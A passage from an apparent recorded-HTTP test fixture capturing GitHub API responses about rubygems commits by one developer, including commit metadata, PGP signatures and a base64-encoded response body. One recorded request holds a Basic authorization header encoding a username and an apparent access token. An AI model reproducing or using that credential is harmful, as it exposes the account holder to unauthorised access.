Conflicts:\n#\ttest/rubygems/test_gem.rb\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fde6f514b6a3d0442f599183ccc9df954ea33982","html_url":"https://github.com/rubygems/rubygems/commit/fde6f514b6a3d0442f599183ccc9df954ea33982","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fde6f514b6a3d0442f599183ccc9df954ea33982/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"5db801704ea8e74220187b2ba5e386dae4967647","url":"https://api.github.com/repos/rubygems/rubygems/commits/5db801704ea8e74220187b2ba5e386dae4967647","html_url":"https://github.com/rubygems/rubygems/commit/5db801704ea8e74220187b2ba5e386dae4967647"},{"sha":"2ee5bf9fd3bd7649d3e244bc40107ff32070ef47","url":"https://api.github.com/repos/rubygems/rubygems/commits/2ee5bf9fd3bd7649d3e244bc40107ff32070ef47","html_url":"https://github.com/rubygems/rubygems/commit/2ee5bf9fd3bd7649d3e244bc40107ff32070ef47"}]},{"sha":"2ee5bf9fd3bd7649d3e244bc40107ff32070ef47","node_id":"MDY6Q29tbWl0NjE0MDcwOjJlZTViZjlmZDNiZDc2NDlkM2UyNDRiYzQwMTA3ZmYzMjA3MGVmNDc=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-20T23:10:19Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-20T23:10:19Z"},"message":"Version 2.6.9 with changelog","tree":{"sha":"a09c865b2ad89acc4e48b5d96ac4eed36ccc261d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a09c865b2ad89acc4e48b5d96ac4eed36ccc261d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2ee5bf9fd3bd7649d3e244bc40107ff32070ef47","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYgpjbAAoJEAEZW7MV3ahWQ3QP/R5LJ5w1nR5XOh6Nj/R9tPAg\nTMN3MAQGY4Jscb3bwnirkGvVSFHga/K+HbUOGWGV4ZEkMrVQDGsjVFNoPIRTzoUE\nuyJeKX+JxcUjDclLM+PCTVCUw6PXU1JCYJxU5yAAMVY2o7EX1n2uqGIv3TM9rnIf\nSkQV0BVG3t8xo7nSs5IsAZqgA+ItkurA9Vw9NCAVaN3DeuRFDYY0wD/VQKngCwRg\nv6pgCW85bho/2fTCNSpqkgiukH52R0w+9GPqr+MObtbBrjTBJU6mKlxdtgPj3Dvi\n1Mu0Lfy/sWsZ1HJRR/YJFx6ErYfdCMhKAEaCSX5vebs7kqo3kLJ/WP3EXbwObofn\nw5PDOWxJ6WrBFXAKWM+W4dvAsYENXlamToap1m3FtEvckG0bZ4I9Z2tpd9StZpbx\n3bADGqZHy2wnbiX6DBVTahhSXNyJmaXccJYYY6QVmYH+4NMkYatoorBTlUvWu+J5\n08xRF6gjv5V9yp0ljayjSXzCoR5Pe8U8gC7gafyd6TOClMsLrYEqQO/Ym1dnn6Cp\nK4ZZzEXNgSpGq58lYD79Y9aK3BJilgzztgf7h+trs1wbFxW3E0HopTyiEE8oz2Z7\nh9cZ8RUSuTWUz4IdyeZ+aGKvQe+KGGlB3/1+rhhKfQNwuFpuna+Ms9IHRpBJx4Qp\nYBITHjsh58HfOw5NK7A2\n=CUqD\n-----END PGP SIGNATURE-----","payload":"tree a09c865b2ad89acc4e48b5d96ac4eed36ccc261d\nparent bfb122031c9eee0eec29d408b30b3652d644a534\nauthor Samuel Giddins 1484953819 -0600\ncommitter Samuel Giddins 1484953819 -0600\n\nVersion 2.6.9 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2ee5bf9fd3bd7649d3e244bc40107ff32070ef47","html_url":"https://github.com/rubygems/rubygems/commit/2ee5bf9fd3bd7649d3e244bc40107ff32070ef47","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2ee5bf9fd3bd7649d3e244bc40107ff32070ef47/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"bfb122031c9eee0eec29d408b30b3652d644a534","url":"https://api.github.com/repos/rubygems/rubygems/commits/bfb122031c9eee0eec29d408b30b3652d644a534","html_url":"https://github.com/rubygems/rubygems/commit/bfb122031c9eee0eec29d408b30b3652d644a534"}]}]' http_version: recorded_at: Fri, 15 Mar 2019 21:54:07 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?author=segiddins@segiddins.me&page=2&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 15 Mar 2019 21:54:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4308' X-Ratelimit-Reset: - '1552689075' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4100158769b9f10c55caab8fb8014e1e" Last-Modified: - Mon, 16 Jan 2017 19:04:33 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 5F3C:570B:10D8ADF:21A07E8:5C8C1EFF body: encoding: ASCII-8BIT string: !binary |- W3sic2hhIjoiZjE2NjE2Y2M2NjI5MTBlZmUyOWE2ZmIyYjQ0Nzk4YjdhNjhiYWRkZCIsIm5vZGVfaWQiOiJNRFk2UTI5dGJXbDBOakUwTURjd09tWXhOall4Tm1Oak5qWXlPVEV3WldabE1qbGhObVppTW1JME5EYzVPR0kzWVRZNFltRmtaR1E9IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wMS0xNlQxOTowNDozM1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTAxLTE2VDE5OjA0OjMzWiJ9LCJtZXNzYWdlIjoiW0NJXSBSZXRyeSBhZnRlciBydW5uaW5nIGEgY29tbWFuZCBmYWlscyIsInRyZWUiOnsic2hhIjoiYjIyMTBkNzU1NjNmYWExYjgxZjhiZmMwMWEyMzBjZGE1MTFhODc3MyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2IyMjEwZDc1NTYzZmFhMWI4MWY4YmZjMDFhMjMwY2RhNTExYTg3NzMifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9mMTY2MTZjYzY2MjkxMGVmZTI5YTZmYjJiNDQ3OThiN2E2OGJhZGRkIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpZZlJsQkFBb0pFQUVaVzdNVjNhaFdUMjhQK3dUUy8rSEg3Y1dtYnc1NEtWQ1ZVN0xIXG5XM01maFVUd2Rnbk1ac2pQOEZXTnNHNVl6TGJKTGdXaW5HckNCTEptMmJjK3JGMWl6K3J3ZmIvaXoxOFI3aVcyXG5aWjlJdU5zZTV6Uk5hRHV4TXFMQ1RqMXA1ZnJXazgwVTFjaGpKTlJoQTh5Qk5jL1RJV004OXArZ09vRkhBYitVXG5wR002UjhFWVY4ZVZHaEZ3dDNYZldadzBudXJjSGplcjRQQ0JSOFJtTHN0K3psMlAvV2pwMFFUeEZ0YWxFRTRiXG5UazRscFUvUDBvL2IwZVdGcHI1WEJIMSthR3FtOWFNRGlkSzFWVkVxQjV0aFg0S25tWkdSN0o1OUtpMm1uYXpJXG5yT0kvSnJyTyswQ1FPWmlBREJ0TEV0Y0dGR1ltR3o2cVVHblE2RTBSOHRYcXBxamx4VFk5dmpQSncxMUpJKy8rXG5ZQWNOMFN0K0RxVWg3TlM1QjFubWRMMTA2eXo2OEZpMTlZMXQ0K2pqWjhzdUJpYkRyZ213MGU4bGRQOVRNYU5OXG5ZUmtndVExcDhGejF5MTJuWkpNMS9BbFRkbzQ5WjdRcXJGWGpxTHNydmNOMXhKay8vcVh4YnpFVjNTN0FCMHF4XG5LSDdkeHppaU14c0x1Ym9WNS92bzlncmZ2aFA4eGZVam9qbmdhOXdlTFErelJjNG9ZdHdadTAreXVXK0hySEZqXG5XVzdZRlZsZC9ER3RBQ3BCYm13eHREV0FPYktzNW9NZ3ZBWGJpSUxiTkszNE4wQWJ6UWJPaDZ3M0NjQklHSC9sXG5EdWV0WFNoOS9kTEluM3JzSkMrcHJqY0NJdDBlVXhiMGtqNklnbHpGd2FMMGJTN05CeGlYdEhUb0wreFRzcGNsXG5uTWNjMGtoanIzc1NGZGVmQ3RJL1xuPW9JUk9cbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGIyMjEwZDc1NTYzZmFhMWI4MWY4YmZjMDFhMjMwY2RhNTExYTg3NzNcbnBhcmVudCBiMTQ5YmJlZWE3OTZiM2FmZjI3NWZiYTkwZGMzMTY0ZjRhOTU0OGQ3XG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODQ1OTM0NzMgLTA2MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ4NDU5MzQ3MyAtMDYwMFxuXG5bQ0ldIFJldHJ5IGFmdGVyIHJ1bm5pbmcgYSBjb21tYW5kIGZhaWxzXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9mMTY2MTZjYzY2MjkxMGVmZTI5YTZmYjJiNDQ3OThiN2E2OGJhZGRkIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2YxNjYxNmNjNjYyOTEwZWZlMjlhNmZiMmI0NDc5OGI3YTY4YmFkZGQiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZjE2NjE2Y2M2NjI5MTBlZmUyOWE2ZmIyYjQ0Nzk4YjdhNjhiYWRkZC9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiYjE0OWJiZWVhNzk2YjNhZmYyNzVmYmE5MGRjMzE2NGY0YTk1NDhkNyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9iMTQ5YmJlZWE3OTZiM2FmZjI3NWZiYTkwZGMzMTY0ZjRhOTU0OGQ3IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2IxNDliYmVlYTc5NmIzYWZmMjc1ZmJhOTBkYzMxNjRmNGE5NTQ4ZDcifV19LHsic2hhIjoiYjE0OWJiZWVhNzk2YjNhZmYyNzVmYmE5MGRjMzE2NGY0YTk1NDhkNyIsIm5vZGVfaWQiOiJNRFk2UTI5dGJXbDBOakUwTURjd09tSXhORGxpWW1WbFlUYzVObUl6WVdabU1qYzFabUpoT1RCa1l6TXhOalJtTkdFNU5UUTRaRGM9IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wMS0xNlQxOTowMDowMFoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTAxLTE2VDE5OjAwOjAwWiJ9LCJtZXNzYWdlIjoiVXNlIEJ1bmRsZXIgMS4xNCBwb3N0aXQgZW52IHZhciIsInRyZWUiOnsic2hhIjoiY2U4NTM5NTY5MmY4ZGJhYTg3OTdlYTUwZjBkYzcyMjJjMjQwMDI5MiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzL2NlODUzOTU2OTJmOGRiYWE4Nzk3ZWE1MGYwZGM3MjIyYzI0MDAyOTIifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy9iMTQ5YmJlZWE3OTZiM2FmZjI3NWZiYTkwZGMzMTY0ZjRhOTU0OGQ3IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpZZlJnd0FBb0pFQUVaVzdNVjNhaFdvSjRRQUpKMmdZcngvelVEeHpQdkZqalp5cWVHXG4wVllBaEJubUZ0TlZZU2oxeHhDaks4R2hZbGsyZ1NrdWJiRmNOK3BXVTNSRVFEeERsWkZkclFZTi85Z0VrMkwrXG5nNU9VT0EvM3hMbU91Y2x6NFB6QWdXTDVVUVJIVHdyeUQ4d2tja09vQTExYmFBZkdNcFg2MjBHaUZDdkVxR1RLXG5sdGZ2S3lCQlMwZXZleXliZ2E5Wm84cHRmbEdzUlFQWnltRWxmaVFMZHNzblBjci9RWnJ3SGVmZlBIdmhRdk9GXG51MVdhRGtZanpPTVo5dmJaeFJjMVRHQmd2dEdrcGhaY3dLejhwRk1KbGEzVTU5aEh1NS9FRXVsaVFtRE0yMTRvXG5CQUJSYjlBT0NsLzdYVStGWWFMV0N4QisyVFRXNUhCbU1LMk9nckJYcUNndW5zcVl4RzVmL3ZZMmFxc3FObk5xXG5meXBkeEt2YU1FWTlSOXB4QUl4T2RYUGVWb3dkQjhOeU1WdlBIMmZ0Zld4bjZCMXc1WmNqSXA1V3NDZitBWmI5XG5KTTdRQktlUU82U1VqcEhMNEpYallIL0tHQkNrY3lMbDFoVFhDZ1NSMjNFN1FoWW1yQ0lCOFNlRVhWZ1I3eGp1XG5sYm4zelVJS1VMSjlENmovVXpZZ0NrM0ZFeHRvMkRnVS85elNKNmhuTzh6SWRHS0VHVHJxbkUzMnYrV1ZEMCtsXG4wN2lVV2Q1L2g0N0ZKRFc3c1czM0RxTGwvM3IyRXFBTUMvSHRFbEwxMWZJd1lTM0ErLzlHbTBjQkVNR3VFbyswXG5rMkRpWmk1S1h2MDNZUkJ3b1lxbVhqT0g0NHduaERaY29EaDgyTTNrMzUva3NhbDR0WFJrdGUzY2JsV1JSRG9KXG5Rc2l3SWdvNFJTV1JCd05acGlaWlxuPU4xS1hcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIGNlODUzOTU2OTJmOGRiYWE4Nzk3ZWE1MGYwZGM3MjIyYzI0MDAyOTJcbnBhcmVudCA5NmE2OWJhNWE2ZjNiOWIwZmU5ZDU0OTQwMWRmYmM1YWJlMmIxNDI0XG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE0ODQ1OTMyMDAgLTA2MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTQ4NDU5MzIwMCAtMDYwMFxuXG5Vc2UgQnVuZGxlciAxLjE0IHBvc3RpdCBlbnYgdmFyXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9iMTQ5YmJlZWE3OTZiM2FmZjI3NWZiYTkwZGMzMTY0ZjRhOTU0OGQ3IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2IxNDliYmVlYTc5NmIzYWZmMjc1ZmJhOTBkYzMxNjRmNGE5NTQ4ZDciLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYjE0OWJiZWVhNzk2YjNhZmYyNzVmYmE5MGRjMzE2NGY0YTk1NDhkNy9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJub2RlX2lkIjoiTURRNlZYTmxjakU1TkRZMk1UQT0iLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwibm9kZV9pZCI6Ik1EUTZWWE5sY2pFNU5EWTJNVEE9IiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc